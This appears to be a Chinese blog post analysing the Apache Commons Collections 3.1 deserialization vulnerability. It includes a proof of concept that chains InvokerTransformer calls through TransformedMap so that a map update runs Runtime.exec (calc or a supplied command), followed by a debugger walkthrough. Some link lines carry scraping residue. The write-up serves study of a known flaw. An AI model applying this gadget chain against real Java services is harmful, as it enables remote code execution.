Apache Commons Collections 反序列化詳細分析學習總結

0x01.環境準備:

Apache Commons Collections 3.1版本,下載連接參考:html

https://www.secfree.com/a/231.htmljava

jd jui地址(將jar包轉化爲java源碼文件):git

https://github.com/java-https://www.secfree.com/a/231.html/jd-gui/releasesgithub

配置項目中的jdk版本:apache

https://blog.csdn.net/qq_22076345/article/details/82392236數組

設置class字節碼輸出路徑數據結構

https://blog.csdn.net/zZ_life/article/details/51318306app

爲項目添加jar包框架

https://www.iteye.com/blog/zyjustin9-2172445函數

java object array(對象數組):

object obj[]=new object[5];

建立了一個Object數組,長度爲5,這5個元素的值都是null,而後把建立好的數組實例的引用賦給obj變量。若是須要爲這些元素分配具體的對象,則須要分別指定或用{}符號進行初始化

http://www.javashuo.com/article/p-mifxldlu-a.html arrays工具類對數組進行操做

 

 

0x02.環境測試:

import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class fanshe {
    public static void main(String[] args) throws IllegalAccessException, IllegalArgumentException, InvocationTargetException, NoSuchMethodException, SecurityException, ClassNotFoundException, IOException {
        //函數名字,傳參類型,參數值
        Transformer transformer = new InvokerTransformer("append", new Class[]{String.class}, new Object[]{"by SecFree"});
        Object newobject = transformer.transform(new StringBuffer("hi "));
        System.out.println(newobject);

        Runtime r = (Runtime)Class.forName("java.lang.Runtime").getMethod("getRuntime", new java.lang.Class[]{}).invoke(null, new Object[]{});
        System.out.println(new java.io.BufferedReader(new java.io.InputStreamReader(r.exec("whoami").getInputStream())).readLine());
    }
}

從以上這段最簡單的測試代碼開始進行分析,

Transformer transformer = new InvokerTransformer("append", new Class[]{String.class}, new Object[]{"by SecFree"});

首先實例化了InvokerTransformer的對象,傳入了要執行的方法名,參數類型,以及參數值,在傳入值和類型時,要與java類中定義的變量的類型相一致

 這裏定義的入口參數也能夠看出所須要的類型,這裏參數類型爲class類型的數組,接下來第二行

Object newobject = transformer.transform(new StringBuffer("hi"));

此時調用了transformer類的transform方法,傳入了一個StringBuffer的一個匿名對象,其中transform函數的定義以下,這個函數是Object類型的,入口參數也爲object類型,

 此時若是input不爲空,則會調用getclass方法獲得當前對象的類對象,接下來經過調用getmethod方法,調用該類對象中的方法,其中傳入的參數爲兩個,第一個爲須要調用的

類中方法的方法名,第二個參數爲調用的該方法的參數類型,此時getmethod的返回值爲Method類型的對象,此時即可以經過調用method的invoke方法來實現咱們想調用的方法的執行

好比此時使用反射機制完成對stringbuffer類的append方法的調用,從上圖也能夠看到入口參數類型爲string,append方法實際上將傳入append的字符串拼接到當前stringbuffer字符串的後面,而後返回當前字符串。

0x03.漏洞原理分析:

感受這篇文章把這個漏洞的緣由講的很是詳細,https://xz.aliyun.com/t/136

Apache Commons Collections 是一個擴展了Java標準庫裏的Collection結構的第三方基礎庫

org.apache.commons.collections提供一個類包來擴展和增長標準的Java的collection框架,也就是說這些擴展也屬於collection的基本概念,只是功能不一樣罷了。Java中的collection能夠理解爲一組對象。具象的collection爲set,list,queue等等,它們是集合類型。換一種理解方式,collection是set,list,queue的抽象。

其中有一個接口能夠經過反射機制來進行任意函數的調用,即InvokeTransformer

 poc以下:

import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

public class collections {
    public static void main(String[] args) {
        String command = (args.length !=0 ) ? args[0] : "calc";
        String[] execArgs = command.split(",");
        Transformer[] tarnsforms = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer(
                        "getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",new Class[0]}
                ),
                new InvokerTransformer(
                        "invoke",
                        new Class[] {Object.class,Object[].class},
                        new Object[] {null,new Object[0]}
                ),
                new InvokerTransformer(
                        "exec",
                        new Class[]{String[].class},
                        new Object[]{execArgs}
                )
        };
        Transformer transformerChain = new ChainedTransformer(tarnsforms);
        Map temoMap = new HashMap<String,Object>();
        Map<String,Object> exMap = TransformedMap.decorate(temoMap, null, transformerChain);
        exMap.put("by", "SecFree");
    }
}

poc的邏輯能夠理解爲:

構建BeforeTransformerMap的鍵值對,爲其賦值,利用TransformedMap的decorate方法,能夠對Map數據結構的key,value進行transforme。

TransformedMap.decorate方法,預期是對Map類的數據結構進行轉化,該方法有三個參數。第一個參數爲待轉化的Map對象,第二個參數爲Map對象內的key要通過的轉化方法(可爲單個方法,也可爲鏈,也可爲空),第三個參數爲Map對象內的value要通過的轉化方法。

TransformedMap.decorate(目標Map, key的轉化對象(單個或者鏈或者null), value的轉化對象(單個或者鏈或者null));

poc中對BeforeTransformerMap的value進行轉換,當BeforeTransformerMap的value執行完一個完整轉換鏈,就完成了命令執行。

 Transformer transforms[] = {
//首先傳入Runtime類
new ConstantTransformer(Runtime.class),
     //經過調用Runtime.getMethod("getRuntime")獲的Runtime.getruntime()方法
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]} ),
    //經過invoke函數得到Process類型的Runtime的實例化對象,這樣才能經過對象->方法的形式調用exec函數
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {0, new Object[0]} ),
     //調用Runtime.exec('calc')
new InvokerTransformer("exec", new Class[] {String[].class}, new Object[] {commands} ) };

以上的代碼即爲transformer鏈的構成,當完成對這條鏈的轉化,即完成了代碼執行,以上代碼至關於執行:

((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec(commands);

0x04.poc斷點調試分析:

首先第一步定義一個要執行的命令,而且定義transformer鏈,實際上爲一個對象數組

 其中第一個對象爲ConstantTransformer的對象,入口參數Runtime.class,也就是經過.class方式,獲取了Runtime這個類的類的對象

這裏賦值給了ConstantTansformer類的iConstant成員變量,具體爲啥第一個類對象要爲這個類的對象,下文說。

 第二個類對象爲InvokerTransformer類的對象,以前已經知道InvokerTransformer類的做用:

        Transformer transformer = new InvokerTransformer("append", new Class[]{String.class}, new Object[]{"by SecFree"});
        String newobject = transformer.transform(new StringBuffer("hi ")).toString();
        System.out.println(newobject);

經過以上三行便可完成經過反射完成函數調用,其中首先要定義一個InvokerTransformer類對象,而後經過調用該對象調用transformer方法來完成咱們所想要的函數的執行

 其類的構造方法中第一個參數即爲咱們想要調用的方法名爲getMethod,第二個爲參數類型,第三個爲參數值,這裏實際上就是經過getMethod調用getRuntime函數

 咱們已經知道反射的過程爲經過getMethod獲取到想要調用的函數之後,下一步就是經過invoke函數來傳入咱們想要觸發的類對象,從而使咱們的目的函數和目標類連起來,

因此此時如上圖所示,調用了invoke方法,此時傳入的invoke的參數類型爲類的類型對象,參數爲類的對象

 

最後一步如上圖所示,爲調用exec函數,進行代碼執行,此時參數類型爲String數組,便可以執行多個命令,參數即爲以前定義的command,至此爲止,transformer對象數組構造完成,

建立這個數組的目的就是把後面要執行的函數放入裏面,也就構成了一個函數鏈,接下來就是把transformers當作參數建立一個chainedTransformer對象,而chainedTransformer類有個方法就是就是將一個函數數組鏈式的執行,即chainedTransformer的transform方法

將會依次調用iTransformers數組中存儲的對象的transform方法,也就是依次執行咱們所須要的函數

 如上圖所示就把transformer鏈放到iTransformers變量中,方便後面的調用。

 

 如上圖所示,最後三行代碼即爲commons collections反序列化的觸發,首先須要構造一個map對象,並利用java泛型來對hashmap的鍵值類型進行指定,接下來利用TransformedMap類的decorate方法來對map對象進行封裝,其中封裝的做用爲指定要轉化的map對象以及map對象中的鍵值要進行的轉化方法(這裏也能夠是一個鏈,即咱們要賦值的transformerChain),這裏能夠指定key,也能夠指定value,接下來即經過put方法來對map對象的鍵值進行修改,其中put(key,value)即爲將value加入hashMap中,此時將觸發decorate中定義的transformer鏈,進行函數調用:

當f7單步執行到put函數,此時觸發transformermap的put方法,由於decorate方法返回的是transformermap類的對象,此時首先轉化key

 在對value進行轉化時將判斷此時valueTransformer是否爲空,由於咱們以前定義了map的value進行轉化的transformer鏈

 

  

 能夠看到此時valueTransformer即爲以前decorate中封裝的轉化鏈,因此此時調用valueTransformer的transformer方法,入口參數爲"secfree",爲一個字符串

 其中transformer鏈的第一個對象爲ConstantTransformer類的對象,此時F7單步步入,能夠看到,此時transform函數無論入口的input爲何,都返回一個iConstant,而iConstant使咱們可控的,所以咱們在這裏能夠返回任意類,此處返回爲java.lang.Runtime類的對象

 

 第二次進入循環時,能夠看到此時object已經變成類java.lang.Runtime的對象

 

 此時進入轉化鏈的第二個invoketransformer類的transform方法,由於以前咱們已經知道該類的transform方法能完成函數的調用,此時經過.getclass()方法可以直接得到java.lang.Runtime的類的類型

 

 此時實際上經過調用invoke函數完成了對java.lang.Runtime類的getmethod函數的調用(input函數爲要反射的類對象),其參數則爲getRuntime()(this.iArgs),

 

 即此時返回的即爲java.lang.Runtime.getruntime類的對象

 

 

 第三次進入循環,此時cls爲reflect.Method類的對象,此時能夠經過getMethod函數調用invoke函數,第三行經過invoke函數調用getRuntime類的invoke函數方便後面exec函數的調用,此時的input爲

 而此時的method爲:

java.lang.reflect.Method類提供有關類或接口上單個方法的信息和訪問權限。反映的方法能夠是類方法或實例方法(包括抽象方法)。
java.lang.reflect.Method.invoke(Object obj, Object... args)方法使用指定的參數調用由此Method對象表示的底層方法

由上圖可知此時咱們已經知道Method類的變量實際上存儲的爲咱們須要訪問的方法,而Method.invoke()函數最終返回的是由invoke函數第一個參數所定義的對象以及第二個參數所定義的Method的參數所執行的返回值。

因此此時咱們調用method.invoke即爲調用getruntime.invoke,即進入第四輪循環時,此時object即爲上一輪getruntime.invoke()函數的返回值也就是當前Java應用程序相關的運行時對象Runtime

  第四次循環進入時,此時就要進行調用exec函數進行執行calc,此時經過getclass獲得Runtime對象所屬的類爲java.lang.Runtime,接着經過getmethod獲取java.lang.runtime類的exec方法

 第三行也就是method.invoke反射調用執行java.lang.Runtime類的exec函數,參數即爲calc,即此時彈出計算器。

0x05.參考:

https://www.secfree.com/a/231.html

http://blog.orleven./2017/11/11/java-deserialize/

https://forum.90sec.com/t/topic/89

相關文章
相關標籤/搜索